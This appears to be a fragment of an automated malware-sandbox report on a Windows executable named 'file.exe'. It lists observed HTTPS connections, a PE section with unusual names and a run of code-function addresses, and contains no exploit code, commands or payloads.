Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.7:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.7:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49943 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01379638	0_3_01379638
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01349022	0_3_01349022
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0134DE2A	0_3_0134DE2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0135480F	0_3_0135480F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01349F4C	0_3_01349F4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01379638	0_3_01379638
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CE65E	0_2_065CE65E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06596E78	0_2_06596E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CB67B	0_2_065CB67B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C3E61	0_2_065C3E61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D5E1E	0_2_065D5E1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B1609	0_2_065B1609
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C4E0F	0_2_065C4E0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B5EDA	0_2_065B5EDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B56D3	0_2_065B56D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A36CB	0_2_065A36CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659F6C0	0_2_0659F6C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659C6E3	0_2_0659C6E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D0EE6	0_2_065D0EE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B6EAF	0_2_065B6EAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B86A2	0_2_065B86A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B1EA6	0_2_065B1EA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A3F4A	0_2_065A3F4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B7F4B	0_2_065B7F4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BE74F	0_2_065BE74F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AD770	0_2_065AD770
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CAF71	0_2_065CAF71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C0765	0_2_065C0765
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AEF12	0_2_065AEF12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B2F38	0_2_065B2F38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AC7DA	0_2_065AC7DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C3FD3	0_2_065C3FD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659A7CC	0_2_0659A7CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BAFC2	0_2_065BAFC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C57C5	0_2_065C57C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659BFFF	0_2_0659BFFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659FFF6	0_2_0659FFF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CCFEC	0_2_065CCFEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BDFEC	0_2_065BDFEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AA7E3	0_2_065AA7E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659E787	0_2_0659E787
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D345F	0_2_065D345F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CCC4B	0_2_065CCC4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A1441	0_2_065A1441
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065AD445	0_2_065AD445
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C5C43	0_2_065C5C43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C647F	0_2_065C647F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BA46F	0_2_065BA46F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065BF46D	0_2_065BF46D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065ACC63	0_2_065ACC63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D740B	0_2_065D740B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B343F	0_2_065B343F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A943D	0_2_065A943D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A7C31	0_2_065A7C31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CA428	0_2_065CA428
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B8CCA	0_2_065B8CCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C1CCB	0_2_065C1CCB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D84F8	0_2_065D84F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065ABCF6	0_2_065ABCF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B44E9	0_2_065B44E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A84EE	0_2_065A84EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065A9C91	0_2_065A9C91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065B8C8A	0_2_065B8C8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D3C8E	0_2_065D3C8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065C94B8	0_2_065C94B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D2CB8	0_2_065D2CB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065D1CBB	0_2_065D1CBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0659ACAE	0_2_0659ACAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_065CF4A4	0_2_065CF4A4
